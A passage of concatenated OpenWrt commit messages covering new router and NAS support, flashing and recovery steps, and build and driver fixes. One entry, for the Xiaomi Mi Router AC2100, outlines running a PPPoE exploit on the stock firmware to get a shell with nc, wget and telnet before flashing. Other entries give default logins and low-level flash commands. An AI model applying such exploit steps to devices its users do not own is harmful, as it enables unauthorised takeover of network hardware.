expected, so we should probably convert all chars into u8 types, and
after that it's clear, that using strcpy doesn't make sense anymore.
This is rather theoretical stuff, but `uint8_t name[PART_NAME_LENGTH]`
means, that you can supply PART_NAME_LENGTH sized name, not
PART_NAME_LENGTH-1 name when NULL terminated.
Ref: https://github.com/openwrt/openwrt/pull/2274
Fixes: 04cb651376 ("firmware-utils: mkfwimage: fix more errors reported by gcc-6/7/9")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Compared to GCC 9:
870-ppc_no_crtsavres.patch changes moved to another file following upstream
881-no_tm_section.patch keep the tm section disabled
patches refreshed to apply cleanly
See https://gcc.gnu.org/gcc-10/porting_to.html for more info
Compiled and run tested on x86_64
Signed-off-by: Syrone Wong <wong.syrone@gmail.com>
Add needed config changes and tarball hash for new GCC version.
Signed-off-by: Syrone Wong <wong.syrone@gmail.com>
[added missing commit description]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The block index of u-boot-env changed from mtd1 to mtd3 after upgrading kernel to 5.4.
This patch search the mtd block by label name, work as expect when perform a clean flash.
Signed-off-by: Huangbin Zhan <zhanhb88@gmail.com>
At this moment Linksys EA8500 uses only eth0.
This patch change switch registers, which allow to use eth1 as lan
and eth0 as wan. The method work with similar Linksys EA7500V1
and it work with EA8500.
Suggested-by: Sungbo Eo <mans0n@gorani.run>
Tested-by: Brian Onn <brian.a.onn@gmail.com>
Tested-by: Adrian Panella <ianchi74@outlook.com>
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
This replaces deprecated backticks by more versatile $(...) syntax.
This does not touch lib/upgrade/nand.sh, as there replacement is
not trivial.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
3034eaf jail: use linux/capability.h instead of sys/capability.h
Fixes: b6e440a0f5 ("procd: update to git HEAD")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The support for this device's Marvell MV88E6060 switch has been
reported to be broken with kernels 4.19/5.4 (see bug report).
Since this a 4/32 device and it has been confirmed to be working
with stable 19.07 release (kernel 4.14), and since fixing it does
not seem trivial, let's just disable it in master.
Fixes: FS#2524
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Make sure RF5592 is set for RT5592 chip which apparently sometimes
doesn't have RF defined (but always comes with RF5592).
This patch was originally submitted on linux-wireless by
Tom Psyborg <pozega.tomislav@gmail.com> but got rejected.
Turns out the patch is actually needed.
Reported-by: Sebastian Gottschall <s.gottschall@dd-wrt.com>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This adds support for the Netgear R6020, aka Netgear AC750.
The R6020 appears to be the same hardware as the Netgear R6080,
aka Netgear AC1000, but it has a slightly different flash layout,
and no USB ports.
Specification:
SoC: MediaTek MT7628 (580 MHz)
Flash: 8 MiB
RAM: 64 MiB
Wireless: 2.4Ghz (builtin) and 5Ghz (MT7612E)
LAN speed: 10/100
LAN ports: 4
WAN speed: 10/100
WAN ports: 1
UART (57600 8N1) on PCB
MAC addresses based on vendor firmware:
LAN *:88 0x4
WAN *:89
WLAN2 *:88 0x4
WLAN5 *:8a 0x8004
The factory partition might have been corrupted beforehand. However,
the comparison of vendor firmware and OpenWrt still allowed to retrieve
a meaningful assignment that also matches the other similar devices.
Installation:
Flashing OpenWRT from stock firmware requires nmrpflash. Use an ethernet
cable to connect to LAN port 1 of the R6020, and power the R6020 off.
From the connected workstation, run
`nmrpflash -i eth0 -f openwrt-ramips-mt76x8-netgear_r6020-squashfs-factory.img`,
replacing eth0 with the appropriate interface (can be identified by
running `nmrpflash -L`). Then power on the R6020. After flashing has finished,
power cycle the R6020, and it will boot into OpenWRT. Once OpenWRT has been
installed, subsequent flashes can use the web interface and sysupgrade files.
Signed-off-by: Tim Thorpe <timfthorpe@gmail.com>
[slightly extend commit message, fix whitespaces in DTS, align From:
with Signed-off-by]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This fixes the gphy LED pins for Zyxel P-2812 devices. The have
been accidentally altered during a tidy-up operation (see Fixes:
below).
No ports were available, dmesg reported:
[ 0.658577] pinctrl-xway 1e100b10.pinmux: pin io5 already requested by
1e100bb0.stp; cannot claim for 1e108000.eth
[ 0.667566] pinctrl-xway 1e100b10.pinmux: pin-5 (1e108000.eth) status -22
[ 0.685238] lantiq,xrx200-net 1e108000.eth: Error applying setting,
reverse things back
[ 0.693270] lantiq,xrx200-net: probe of 1e108000.eth failed with error -22
Fixes: FS#3188
Fixes: 660200e53d ("lantiq: dts: assign the GPHY LED pins to the
Ethernet controller node")
Suggested-by: Mathias Kresin <dev@kresin.me>
Signed-off-by: Willem van den Akker <wvdakker@wilsoft.nl>
[commit message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
There was a bashism in the script. This fixes the script so that it
doesn't actually require bash, and can be run with any POSIX shell as
its shebang suggests.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
Enable SCSI low-level drivers on targets that don't have it already in
order to fix following build failures on few platforms:
.config:4739:warning: symbol value 'm' invalid for SCSI_LOWLEVEL
* Restart config...
* SCSI low-level drivers
SCSI low-level drivers (SCSI_LOWLEVEL) [Y/n] (NEW) aborted!
Fixes: b88f8202c4 ("kernel: add iscsi-initator support")
Signed-off-by: Lucian Cristian <lucian.cristian@gmail.com>
[commit subject and description facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This patch is required for pcie@2,0 in mt7623 to work. The patch was originally
added in kernel 4.14, but it has not been ported to 4.19 and later.
Fixes: FS#3217
Tested-by: David Woodhouse <dwmw2@infradead.org>
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Since commit 298814e6be ("base-files: config_generate: split macaddr with
multiple ifaces") uci MAC address setup will create a device node for each
member iface. But this script might override the device nodes and interfere
with the MAC address setup.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Commit e53ec043ba ("kirkwood: move usb support to modules") has moved
this config symbol into generic configs, so it could be removed from
other configs.
Suggested-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Port device support for DAP-1330 from the ar71xx target to ath79.
Additionally, images are generated for the European through-socket
case variant DAP-1365. Both devices run the same vendor firmware, the
only difference being the DAP_SIGNATURE field in the factory header.
The vendor's Web UI will display a model string stored in the flash.
Specifications:
* QCA9533, 8 MiB Flash, 64 MiB RAM
* One Ethernet Port (10/100)
* Wall-plug style case (DAP-1365 with additional socket)
* LED bargraph RSSI indicator
Installation:
* Web UI: http://192.168.0.50 (or different address obtained via DHCP)
There is no password set by default
* Recovery Web UI: Keep reset button pressed during power-on
until LED starts flashing red, upgrade via http://192.168.0.50
* Some modern browsers may have problems flashing via the Web UI,
if this occurs consider booting to recovery mode and flashing via:
curl -F \
files=@openwrt-ath79-generic-dlink_dap-1330-a1-squashfs-factory.bin \
http://192.168.0.50/cgi/index
The device will use the same MAC address for both wired and wireless
interfaces, however it is stored at two different locations in the flash.
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
Arduino Yun is a microcontroller development board, based on Atmel
ATmega32u4 and Atheros AR9331.
Specifications:
- MCU: ATmega32U4
- SoC: AR9331
- RAM: DDR2 64MB
- Flash: SPI NOR 16MB
- WiFi:
- 2.4GHz: SoC internal
- Ethernet: 1x 10/100Mbps
- USB: 1x 2.0
- MicroSD: 1x SDHC
Notes:
- Stock firmware is based on OpenWrt AA.
- The SoC UART can be accessed only through the MCU.
YunSerialTerminal is recommended for access to serial console.
- Stock firmware uses non-standard 250000 baudrate by default.
- The MCU can be reprogrammed from the SoC with avrdude linuxgpio.
Installation:
1. Update U-Boot environment variables to adapt to new partition scheme.
> setenv bootcmd "run addboard; run addtty; run addparts; run addrootfs; bootm 0x9f050000 || bootm 0x9fea0000"
> setenv mtdparts "spi0.0:256k(u-boot)ro,64k(u-boot-env),15936k(firmware),64k(nvram),64k(art)ro"
> saveenv
2. Boot into stock firmware normally and perform sysupgrade with
sysupgrade image.
# sysupgrade -n -F /tmp/sysupgrade.bin
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Some devices (e.g. Arduino Yun) need bitwise operations during MAC address
setup. This commit adds generalized versions of macaddr_setbit_la(), which
are helpful when manipulating a single bit in a MAC address.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Like many boards, the Banana Pi R2 doesn't have permanant storage of
its MAC address, and we store the first random one that the kernel
generates in order to use it later and at least be consistent.
Store it in the FAT boot partition, just as the U7623 board (and others)
do.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
For building full SD/eMMC images for Banana Pi R2 we'll want a u-boot
image built for that platform.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
Download the boot preloader code from the Banana Pi github repo and make
it available for bootable SD card image creation.
Supports only Banana Pi R2 for now.
Based on work by Alexey Loukianov <lx2@lexa2.ru> and others.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
The MT7623 SoC has the same SATA block as the MT7622, so enable it in
MT7623 builds too and add it to the DEVICE_PACKAGES for those boards.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
The supported MT7623 boards are mostly identical (what with being a
System-on-Chip and all), so unify the DEVICE_PACKAGES for them, and add
ext4 and usb support for them.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
Some options were not explicitly specified, causing the kernel build to
drop to interactive mode. Set the missing options.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
The DCH-G020 is a Smart Home Gateway for Z-Wave devices.
Specifications:
* QCA9531, 16 MiB Flash, 64 MiB RAM
* On-Board USB SD3503A Z-Wave dongle
* GL850 USB 2.0 Hub (one rear port, internal Z-Wave)
* Two Ethernet Ports (10/100)
Installation:
* Web UI: http://192.168.0.60 (or different address obtained via DHCP)
Login with 'admin' and the 6-digit PIN Code from the bottom label
* Recovery Web UI: Keep reset button pressed during power-on
until LED starts flashing red, upgrade via http://192.168.0.60
* Some modern browsers may have problems flashing via the Web UI,
if this occurs consider booting to recovery mode and flashing via:
curl -F \
files=@openwrt-ath79-generic-dlink_dch-g020-a1-squashfs-factory.bin \
http://192.168.0.60/cgi/index
Known issues:
* Real-Time-Clock is not working as there is currently no matching driver
It is still included in the dts as compatible = "pericom,pt7c43390";
* openzwave was tested on v19.07 (running MinOZW as a proof-of-concept),
but the package grew too big as lots of device pictures were included,
thus any use of Z-Wave is up to the user (e.g. extroot and domoticz)
The device will use the same MAC address for both wired and wireless
interfaces, however it is stored at two different locations in the flash.
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
f4f8f4a180 broke ffmpeg compilation with x86
The reason is that ffmpeg's x86 assembly requires at least MMX, which the
pentium CPU_TYPE was preventing.
Fixes ffmpeg compilation on x86_legacy and x86_geode.
Ref: https://github.com/openwrt/openwrt/pull/3061
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Gives users a third option to augment ondemand and performance. Kernel
docs[1] explain differences and this PR empowers users w/ the choice to
select between the older ondemand and newer and more simplistic schedutil
should they wish to use one that is not the performance governor.
1. Documentation/admin-guide/pm/cpufreq.rst
Signed-off-by: John Audia <graysky@archlinux.us>
[fixed From: to match SoB:]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The rg21s fails to boot if the kernel is larger than about
2,376 KiB. The ra21s is virtually identical hardware.
Enabling lzma-loader resolves the issue on both the rg21s
and ra21s (see FS#3057 on the issue tracker).
Fixes: FS#3057
Signed-off-by: Furkan Alaca <furkan.alaca@queensu.ca>
Device specification:
SoC: RT5350
CPU Frequency: 360 MHz
Flash Chip: Macronix MX25L6406E (8192 KiB)
RAM: Winbond W9825G6JH-6 (32768 KiB)
5x 10/100 Mbps Ethernet (4x LAN, 1x WAN)
1x external antenna
UART (J1) header on PCB (57800 8n1)
Wireless: SoC-intergated: 2.4GHz 802.11bgn
USB: None
8x LED, 2x button
Flash instruction:
Configure PC with static IP 192.168.99.8/24 and start TFTP server.
Rename "openwrt-ramips-rt305x-zyxel_keenetic-lite-b-squashfs-sysupgrade.bin"
to "rt305x_firmware.bin" and place it in TFTP server directory.
Connect PC with one of LAN ports, press the reset button, power up
the router and keep button pressed until power LED start blinking.
Router will download file from TFTP server, write it to flash and reboot.
Signed-off-by: Sergei Burakov <senior.anonymous@ya.ru>
Adding this has been overlooked when rebasing the commit prior to
merge.
Fixes: ba0f4f0cfd ("ramips: add support for TP-Link RE500 v1")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Fixes following issue:
Package kmod-iscsi-initiator is missing dependencies for the following libraries:
crypto_hash.ko
Fixes: b88f8202c4 ("kernel: add iscsi-initator support")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The patches for arch/arm/boot/dts/Makefile have not been updated
in a syntactically correct way (just body was changed). Fix it.
Fixes: 4a77a060ab ("ipq40xx: add support for Buffalo WTR-M2133HP")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Hardware
--------
SoC: MediaTek MT7621ST
WiFi: MediaTek MT7603
Quantenna QT3840BC
Flash: 128M NAND
RAM: 64M
LED: Dual colour red and green
BTN: Reset
WPS
Eth: 4 x 10/100/1000 connected to MT7621 internal switch
MT7621 RGMII port connected to Quantenna module
GPIO: Power/reset of Quantenna module
Quantenna module
----------------
The Quantenna QT3840BC (or QV840) is a separate SoC running
another Linux installation. It is mounted on a wide mini-PCIe
form factor module, but is connected to the RGMII port of
the MT7621. It loads both a second uboot stage and an os
image from the MT7621 using tftp. The module is configured
using Quantenna specific RPC calls over IP, using 802.1q
over the RGMII link to support multiple SSIDs.
There is no support for using this module as a WiFi device
in OpenWrt. A package with basic firmware and management
tools is being prepared.
Serial ports
------------
Two serial ports with headers:
RRJ1 - 115200 8N1 - Connected to the Quantenna console
J1 - 57600 8N1 - Connected to the MT7621 console
Both share pinout with many other Zyxel/Mitrastar devices:
1 - NC (VDD)
2 - TX
3 - RX
4 - NC (no pin)
5 - GND
Dual system partitions
----------------------
The vendor firmware and boot loader use a dual partition
scheme storing a counter in the header of each partition. The
partition with the highest number will be selected for boot.
OpenWrt does not support this scheme and will always use the
first OS partition. It will reset both counters to zero the
first time sysupgrade is run, making sure the first partition
is selected by the boot loader.
Installation from vendor firmware
---------------------------------
1. Run a DHCP server. The WAP6805 is configured as a client device
and does not have a default static IP address. Make a note of
which address it is assigned
2. tftp the OpenWrt initramfs-kernel.bin image to this address.
Wait for the WAP6805 to reboot.
3. ssh to the OpenWrt initramfs system on 192.168.1.1. Make a
backup of all mtd partitions now. The last used OEM image is
still present in either "Kernel" or "Kernel2" at this point,
and can be restored later if you save a copy.
4. sysupgrade to the OpenWrt sysupgrade.bin image.
Installation from U-Boot
------------------------
This requires serial console access
1. Copy the OpenWrt initramfs-kernel.bin image as "ras.bin" to
your tftp server directory. Configure the server address as
192.168.0.33/24
2. Hit ESC when the message "Hit ESC key to stop autoboot"
appears
3. Type "ATGU" + Enter, and then "2" immediately after pressing enter.
4. Answer Y to the question "Erase Linux in Flash then burn new
one. Are you sure?", and answer the address/filename questions.
Defaults:
Input device IP (192.168.0.2)
Input server IP (192.168.0.33)
Input Linux Kernel filename ("ras.bin")
5. Wait until after you see the message "Done!" and power cycle
the device. It will hang after flashing.
6. Continue with step 3 and 4 from the vendor firmware procedure.
Notes on the WAP6805 U-Boot
---------------------------
The bootloader has been modified with both ZyXELs zyloader and the
device specific dual partition scheme. These changes appear to have
broken a few things. The zyloader shell claims to support a number
of ZyXEL AT commands, but not all of them work. The image selection
scheme is unreliable and inconsistent. A limited U-Boot menu is
available - and used by the above U-Boot install procedure. But
direct booting into an uploaded image does not work, neither with
ram nor with flash. Flashing works, but requires a hard reset after
it is finished.
Reverting to OEM firmware
-------------------------
The OEM firmware can be restored by using mtd write from OpenWrt,
flashing it to the "Kernel" partition. E.g.
ssh root@192.168.1.1 "mtd -r -e Kernel write - Kernel" < oem.bin
OEM firmwares for the WAP6805 are not avaible for public download,
so a backup of the original installation is required. See above.
Alternatively, firmware for the WAP6806 (Armor X1) may be used. This
is exactly the same hardware. But the branding features do obviously
differ.
LED controller
--------------
Hardware implementation is unknown. The dual-color LED is controlled
by 3 GPIOs:
4: red
7: blinking green
13: green
Enabling both red and green makes the LED appear yellow.
The boot loader enables hardware blinking, causing the green LED to blink
slowly on power-on, until the OpenWrt boot mode starts a faster software
blink.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
[fix alphabetic sorting for image build statement]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This patch adds support for the Linksys EA7500 V1 router.
Specification:
- CPU: Qualcomm IPQ8064
- RAM: 256MB
- Flash: NAND 128MB
- WiFi: QCA9982 an+ac + QCA9983 bgn
- Ethernet: 5 GBE Ports (WAN+ 4xLAN) (QCA8337)
- USB: 1x USB 3.0 1x USB2.0
- Serial console: RJ-45 115200 8n1 (1V8 Voltage level)
- 2 Buttons
- 1 LED
Known issues:
- Some devices won't flash via web gui
Installation:
- Newer stock images doesn't allow to install custom firmware.
- Please downgrade software to 1.1.2 version. Official firmware:
https://downloads.linksys.com/downloads/firmware/FW_EA7500_1.1.2.172843_prod.gpg.img
- Do it two times to downgrade all stored images.
- Apply factory image via web-gui.
Serial + TFTP method:
- downgrade to 1.1.2 two times
- connect ehternet and serial cable
- set ip address of tftp server to 192.168.1.254
- put openwrt factory image to tftp folder and rename it to macan.bin
- stop device while booting in u-boot
- run command: "run flashimg"
- run command: "setenv boot_part 1"
- run command "saveenv"
- reset
Back to stock:
- Please use old non-gpg image like this 1.1.2:
https://downloads.linksys.com/downloads/firmware/FW_EA7500_1.1.2.172843_prod.img
- ssh to router and copy image to tmp
- use sysupgrade -n -F
Tested by github users: @jack338c and @grzesiczek1
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
[removed i2c4_pins, mdio0_pins, nand_pins, rgmii2_pins from DTSI]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Add missing calls to `free` for variable `filebuffer`.
Add missing calls to `fclose` for variables `fd` and `fd_out`.
Signed-off-by: Andrea Dalla Costa <andrea@dallacosta.me>
Buffalo WTR-M2133HP is a Tri-Band router based on IPQ4019.
Specification
-------------
- SoC: Qualcomm IPQ4019
- RAM: 512MiB
- Flash Memory: NAND 128MiB (MXIC MX30LF1G18AC)
- Wi-Fi: Qualcomm IPQ4019 (2.4GHz, 1ch - 13ch)
- Wi-Fi: Qualcomm IPQ4019 (5GHz, 36ch - 64ch)
- Wi-Fi: Qualcomm QCA9984 (2T2R, 5GHz, 100ch - 140ch)
- Ethernet: 4x 10/100/1000 Mbps (1x WAN, 3x LAN)
- LED: 4x white LED, 4x orange LED, 1x blue LED
- USB: 1x USB 3.0 port
- Input: 2x tactile switch, 2x slide switch (2x SP3T)
- Serial console: 115200bps, pinheader JP5 on PCB
- Power: DC 12V 2A
Flash instruction
-----------------
1. Set up a TFTP server (IP address: 192.168.11.10)
2. Rename "initramfs-fit-uImage.itb" to "WTR-M2133HP-initramfs.uImage"
and put it into the TFTP server directory.
3. Connect the TFTP server and WTR-M2133HP.
4. Hold down the AOSS button, then power on the router.
5. After booting OpenWrt initramfs image, connect to the router by SSH.
6. Transfer "squashfs-nand-factory.ubi" to the router.
7. Execute the following commands.
# ubidetach -p /dev/mtd15
# ubiformat /dev/mtd15 -f /tmp/openwrt-ipq40xx-generic-buffalo_wtr-m2133hp-squashfs-nand-factory.ubi
# fw_setenv bootcmd bootipq
8. Perform reboot.
Recover to stock firmware
-------------------------
1. Execute the following command.
# fw_setenv bootcmd bootbf
2. Reboot and wait several minutes.
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Zyxel NSA310S is a NAS based on Marvell kirkwood SoC.
Specification:
- Processor Marvell 88F6702 1 GHz
- 256MB RAM
- 128MB NAND
- 1x GBE LAN port (PHY: Marvell 88E1318)
- 2x USB 2.0
- 1x SATA
- 3x button
- 7x leds
- serial on J1 connector (115200 8N1) (GND-NOPIN-RX-TX-VCC)
Known issues:
- no kernel module for RTC. [*]
- buzzer (connected to MPP43) need to be drived by 1kHz signal
- no kernel module for internal MCU connected via I2C[**]
[*]
Karoly Pocsi made simple, unofficial driver for HT1382.
It can be found here:
https://www.madadmin.com/zyxel-nsa320s-es-debian-linux-4-resz/
[**]
Karoly Pocsi found how CPU talk with MCU:
It is possible to query the MCU-controlled fan speed and temperature:
i2cget -y 0x0 0x0a 0x07
i2cget -y 0x0 0x0a 0x08
The first value (0x07) is the temperature in ° C, the second (0x08) is
the time in milliseconds to complete one fan revolution (rpm = 60,000 / value).
Info translated from:
https://www.madadmin.com/zyxel-nsa320s-es-debian-linux-4-resz/
Installation:
TFTP:
1. Run serial console and go to u-boot.
2. Copy u-boot via tftp and write to NAND:
=> mw 0x0800000 0xffff 0x100000
=> nand erase 0x0 100000
=> setenv ipaddr 192.168.1.2
=> setenv serverip 192.168.1.4
=> tftp 0x0800000 nsa310s-u-boot.kwb
=> nand write 0x0800000 0x0 0x100000
=> reset
3. Run new u-Boot, repair bootcmd and restore MAC address from sticker
=> setenv ethaddr AA:BB:CC:DD:EE:FF
=> saveenv
4. Copy and run initramfs image
=> setenv ipaddr 192.168.1.2
=> setenv serverip 192.168.1.4
=> tftpboot zyxel_nsa310s-initramfs-uImage
=> bootm 0x800000
5. Download sysupgrade image and perform sysupgrade
USB:
1. Prepare usb fat32 drive with u-boot.kwb and initramfs image.
Stick it to USB 2.0 port.
2. Run serial console and go to u-boot.
3. Copy u-boot from usb and write to NAND:
=> mw 0x0800000 0xffff 0x100000
=> nand erase 0x0 100000
=> usb start
=> fatload usb 0 0x0800000 u-boot.kwb
=> nand write 0x0800000 0x0 0x100000
=> reset
4. Run new u-Boot, repair bootcmd and restore MAC address from sticker
=> setenv ethaddr AA:BB:CC:DD:EE:FF
=> saveenv
5. Copy and run initramfs image:
=> usb start
=> fatload usb 0 0x0800000 initramfs-uImage
=> bootm 0x800000
6. Download sysupgrade image and perform sysupgrade.
Based on work ThBexx <thomas.beckler@hotmail.com>
DTS based on dropped support in 0ebdf0c.
Tested-by: Lech Perczak <lech.perczak@gmail.com>
Reviewed-by: Lech Perczak <lech.perczak@gmail.com>
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
[NSA310s -> NSA310S in DEVICE_MODEL]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Specification:
• 650/600/216 MHz (CPU/DDR/AHB)
• 64 MB of RAM (DDR2)
• 32 MB of FLASH
• 2T2R 2.4 GHz
• 2x 10/100 Mbps Ethernet
• 1x USB 2.0 Host socket
• 1x miniPCIe slot
• UART for serial console
• 14x GPIO
Flash instructions:
Upgrading from ar71xx target:
• Upload image into the board:
scp openwrt-ath79-generic-8dev_lima-squashfs-sysupgrade.bin
root@192.168.1.1/tmp/
• Run sysupgrade
sysupgrade -F /tmp/openwrt-ath79-generic-8dev_lima-squashfs-sysupgrade.bin
Upgrading from u-boot:
• Set up tftp server with
openwrt-ath79-generic-8dev_lima-initramfs-kernel.bin
• Go to u-boot (reboot and press ESC when prompted)
• Set TFTP server IP
setenv serverip 192.168.1.254
• Set device ip from the same subnet
setenv ipaddr 192.168.1.1
• Copy new firmware to board
tftpboot 0x82000000 initramfs.bin
• Boot OpenWRT
bootm 0x82000000
• Upload image openwrt-ath79-generic-8dev_lima-squashfs-sysupgrade.bin into
the board
• Run sysupgrade.
Signed-off-by: Andrey Bondar <a.bondar@8devices.com>
New script for comgt. Should help to fetch balance or any additional information with USSD.
This script uses the standard AT command which should be supported by all modems.
Run-tested on: Mikrotik wAP LTE KIT
Signed-off-by: Kirill Lukonin <klukonin@gmail.com>
[fixed from/sob]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Specifications:
SOC: Qualcomm IPQ4029 (DAKOTA) ARM Quad-Core
RAM: 512 MiB
FLASH1: 16 MiB NOR - SPI0
FLASH2: 8 GiB eMMC
ETH: Qualcomm QCA8075
WLAN1: Qualcomm Atheros QCA4029 2.4GHz 802.11b/g/n 2x2
WLAN2: Qualcomm Atheros QCA4029 5GHz 802.11n/ac W2 2x2
INPUT: Reset, WPS
LED: Power, Mesh, WLAN
UART1: On board pin header near to LED (3.3V, TX, RX, GND), 3.3V without pin - 115200 8N1
UART2: On board with BLE module
SPI1: On board socket for Zigbee module
Install via tftp
- NB: need to flash transition image firstly
Firstly install transition image:
(IPQ40xx) # tftpboot 0x84000000 s1300-factory-to-openwrt.img
(IPQ40xx) # sf probe && imgaddr=0x84000000 && source :script
Secondly install openwrt sysupgrade bin:
(IPQ40xx) # run lf
Revert to factory image:
(IPQ40xx) # tftpboot 0x84000000 s1300-openwrt-to-factory.img
(IPQ40xx) # sf probe && imgaddr=0x84000000 && source :script
The kernel and rootfs of factory firmware are on eMMC, and openwrt
firmware is on NOR flash. The transition image includes U-boot
and partition table, which decides where to load kernel and rootfs.
After you firstly install openwrt image, you can switch between
factory and openwrt firmware by flashing transition image.
Signed-off-by: Dongming Han <handongming@gl-inet.com>
Module is needed for using iscsi-initiator userspace applications
Signed-off-by: Lucian Cristian <lucian.cristian@gmail.com>
[added missing newline between kernel modules]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Before this change, setting the verbosity to anything with V=blah would
cause uclibc++ build to print errors to the screen. Now, it the
clibc++ build verbosity will be altered in the following manners:
* V=s will set V=1 in the uclibc++ build
* V=sc will set V=2 in the uclibc++ build
Signed-off-by: Wren Turkal <wt@penguintechs.org>
The Xiaomi Mi Router AC2100 is a *black* cylindrical router that shares many
characteristics (apart from its looks and the GPIO ports) with the 6-antenna
*white* "Xiaomi Redmi Router AC2100"
See the visual comparison of the two routers here:
https://github.com/emirefek/openwrt-R2100/raw/imgcdn/rm2100-r2100.jpg
Specification of R2100:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN in Yellow and Blue
- UART: On board (Don't know where is should be confirmed by anybody else)
- Modified u-boot
Hacking of official firmware process is same at both RM2100 and R2100.
Thanks to @namidairo
Here is the detailed guide Hack: https://github.com/impulse/ac2100-openwrt-guide
Guide is written for MacOS but it will work at linux.
needed packages: python3(with scapy), netcat, http server, telnet client
1. Run PPPoE&exploit to get nc and wget busybox, get telnet and wget firmware
2. mtd write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-rootfs0.bin rootfs0
other than these I specified in here. Everything is same with:
f3792690c4
Thanks for all community and especially for this device:
@Ilyas @scp07 @namidairo @Percy @thorsten97 @impulse (names@forum.openwrt.com)
MAC Locations:
WAN *:b5 = factory 0xe006
LAN *:b6 = factory 0xe000
WIFI 5ghz *:b8 = factory 0x8004
WIFI 2.4ghz *:b7 = factory 0x0004
Signed-off-by: Emir Efe Kucuk <emirefek@gmail.com>
[refactored common image bits into Device/xiaomi-ac2100, fixed From:]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This patch adds cpu frequency setting for AR724x and AR7161.
It is unknown if all the AR71xx devices support the same value range,
so support is only enabled for AR7161 at this stage.
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
The current code would return an error on ath79 when the SoC isn't known
to the driver. Return the raw hex value instead, as happens with non
supported targets.
Also return the correctly incremented value from
sc_tag_cpufreq_ath79_arraysize()
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
RouterBOOT cpu frequency settings are letter-indexed. Follow the
same logic for the sysfs interface.
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
The routine would only accurately print out the first word.
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
Fixes: 5ecf7d96 ("generic: routerboot sysfs platform driver")
Hardware
--------
SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM: 128MB
FLASH: 16MB NOR (Macronix MX25L12805D)
ETH: 1x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
- 2.4GHz: 1x MT7615 (4x4:4)
- 5GHz: 1x MT7615 (4x4:4)
- 4 antennas: 2 external detachable and 2 internal
BTN:
- 1x Reset button
- 1x WPS button
LEDS:
- 1x Green led (Power)
- 1x Green-Amber-Red led (Wifi)
UART:
- 57600-8-N-1
Everything works correctly.
Installation
------------
Flash the factory image directly from OEM web interface.
(You can login using these credentials: admin/1234)
Restore OEM Firmware
--------------------
Flash the OEM "bin" firmware directly from LUCI.
The firmware is downloadable from the OEM web page.
Warning: Remember to not keep settings!
Warning2: Remember to force the flash.
Restoring procedure tested with RE23_1.08.bin
MAC addresses
-------------
factory 0x4 *:24
factory 0x8004 *:25
Cimage 0x07 *:24
Cimage 0x0D *:24
Cimage 0x13 *:24
Cimage 0x19 *:25
No other addresses were found in factory partition.
Since the label contains both the 2.4GHz and 5GHz mac address I decided
to set the 5GHz one as label-mac-device. Moreover it also corresponds
to the lan mac address.
Notes
-----
The wifi led in the OEM firmware changes colour depending on the signal
strength. This can be done in OpenWrt but just for one interface.
So for now will not be any default action for this led.
If you want to open the case, pay attention to the antenna placed on
the bottom part of the front cover.
The wire is a bit short and it breaks easily. (I broke it)
Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
[fix two typos and add extended MAC address section to commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This Fixes the folowing compile error:
drivers/mtd/nand/rb91x_nand.c: In function 'rb91x_nand_remove':
drivers/mtd/nand/rb91x_nand.c:445:16: error: 'rbni' undeclared (first use in this function)
nand_release(&rbni->chip);
